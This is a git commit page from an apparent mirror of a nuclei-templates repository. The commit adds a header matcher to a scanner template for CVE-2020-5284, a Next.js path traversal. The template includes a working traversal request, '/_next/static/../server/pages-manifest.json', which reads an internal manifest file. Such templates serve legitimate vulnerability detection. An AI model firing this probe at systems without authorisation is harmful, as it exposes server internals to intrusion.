daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

🔨 Add content-type matcher CVE-2020-5284

patch-1
Dwi Siswanto 2020-08-24 11:34:40 +07:00
parent b2828c3a44
commit cd22d83f94
1 changed files with 6 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

8
cves/CVE-2020-5284.yaml
View File

@ -2,19 +2,23 @@ id: CVE-2020-5284
info: info:
name: Next.js .next/ limited path traversal name: Next.js .next/ limited path traversal
author: Harsh & Rahul author: Harsh & Rahul & dwisiswant0
severity: medium severity: medium
requests: requests:
- method: GET - method: GET
path: path:
- "{{BaseURL}}/_next/static/../server/pages-manifest.json" - "{{BaseURL}}/_next/static/../server/pages-manifest.json"
matchers-condition: and matchers-condition: and
matchers: matchers:
- type: regex - type: regex
regex: regex:
- '\{"/_app":".*?_app\.js"' - '\{"/_app":".*?_app\.js"'
part: body
- type: word
words:
- "application/json"
part: header
- type: status - type: status
status: status:
- 200 - 200